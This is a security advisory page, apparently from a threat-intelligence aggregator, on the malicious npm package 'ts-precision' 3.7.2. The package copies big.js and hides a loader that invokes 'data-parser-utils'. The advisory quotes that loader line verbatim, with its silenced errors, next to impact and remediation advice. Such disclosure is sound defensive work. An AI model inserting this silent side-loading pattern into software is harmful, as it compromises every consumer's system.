Malicious code in ts-precision (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e7d2534408d7dd1d7f02c3ef470bc697d0803e8acd58941de5974a250127cb8c) Package ships a verbatim copy of big.js v7.0.1 (including the original author metadata 'Michael Mclaughlin <[email protected]>' and repo reference MikeMcl/big.js) under a different name, mimicking a legitimate arbitrary-precision math library to lure installers. Hidden between math methods in the module body is an unrelated block: `try { const doc = require("data-parser-utils"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }`. This block fires on every `require('ts-precision')` / `import` of the package, pulling in and invoking the known-malicious npm package `data-parser-utils`, with errors silently swallowed in an empty try/catch and no-op promise handlers to hide failures from the consumer. The dependency invocation is unrelated to decimal arithmetic and exists solely to side-load attacker-controlled code into any consumer's process at module load. ## Source: ghsa-malware (b4ffbdf3dab9ae9a0147818f09f7763029240baf7125f0363fedbc80dcf71234) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
AI Analysis
Technical Summary
The 'ts-precision' npm package (version 3.7.2) masquerades as a legitimate arbitrary-precision math library by shipping a copy of big.js v7.0.1 but includes a hidden code block that requires and invokes the malicious 'data-parser-utils' package on every import or require. This invocation is unrelated to the package's stated functionality and is designed to execute attacker-controlled code within the consumer's process. The malicious code suppresses errors and uses no-op promise handlers to avoid detection. Systems with this package installed should be considered fully compromised.
Potential Impact
Any system with 'ts-precision' version 3.7.2 installed or running is considered fully compromised due to the execution of malicious code from the 'data-parser-utils' package. This can lead to unauthorized access, data exfiltration, and control over the affected system. All secrets and keys stored on the compromised system should be rotated immediately from a secure environment. Removing the package alone may not remove all malicious software introduced by the attacker.
Mitigation Recommendations
No official patch or fix is available. Immediate removal of the 'ts-precision' package version 3.7.2 is required. Treat any system with this package installed as compromised and rotate all secrets and keys from a different, secure computer. Monitor for any signs of persistent malicious activity and consider full system remediation or rebuild.
Malicious code in ts-precision (npm)
Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e7d2534408d7dd1d7f02c3ef470bc697d0803e8acd58941de5974a250127cb8c) Package ships a verbatim copy of big.js v7.0.1 (including the original author metadata 'Michael Mclaughlin <[email protected]>' and repo reference MikeMcl/big.js) under a different name, mimicking a legitimate arbitrary-precision math library to lure installers. Hidden between math methods in the module body is an unrelated block: `try { const doc = require("data-parser-utils"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }`. This block fires on every `require('ts-precision')` / `import` of the package, pulling in and invoking the known-malicious npm package `data-parser-utils`, with errors silently swallowed in an empty try/catch and no-op promise handlers to hide failures from the consumer. The dependency invocation is unrelated to decimal arithmetic and exists solely to side-load attacker-controlled code into any consumer's process at module load. ## Source: ghsa-malware (b4ffbdf3dab9ae9a0147818f09f7763029240baf7125f0363fedbc80dcf71234) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The 'ts-precision' npm package (version 3.7.2) masquerades as a legitimate arbitrary-precision math library by shipping a copy of big.js v7.0.1 but includes a hidden code block that requires and invokes the malicious 'data-parser-utils' package on every import or require. This invocation is unrelated to the package's stated functionality and is designed to execute attacker-controlled code within the consumer's process. The malicious code suppresses errors and uses no-op promise handlers to avoid detection. Systems with this package installed should be considered fully compromised.
Potential Impact
Any system with 'ts-precision' version 3.7.2 installed or running is considered fully compromised due to the execution of malicious code from the 'data-parser-utils' package. This can lead to unauthorized access, data exfiltration, and control over the affected system. All secrets and keys stored on the compromised system should be rotated immediately from a secure environment. Removing the package alone may not remove all malicious software introduced by the attacker.
Mitigation Recommendations
No official patch or fix is available. Immediate removal of the 'ts-precision' package version 3.7.2 is required. Treat any system with this package installed as compromised and rotate all secrets and keys from a different, secure computer. Monitor for any signs of persistent malicious activity and consider full system remediation or rebuild.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- MAL-2026-6469
- Osv Schema Version
- 1.7.4
- Aliases
- ["GHSA-g38h-2r6h-pwr8"]
- Ecosystems
- ["npm"]
- Database Specific Severity
- null
- Cvss Version
- null
Threat ID: 6a6ae50b9c2644c7f897f8e0
Added to database: 07/30/2026, 05:45:47 UTC
Last enriched: 07/30/2026, 05:47:32 UTC
Last updated: 07/30/2026, 05:57:10 UTC
Views: 2
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.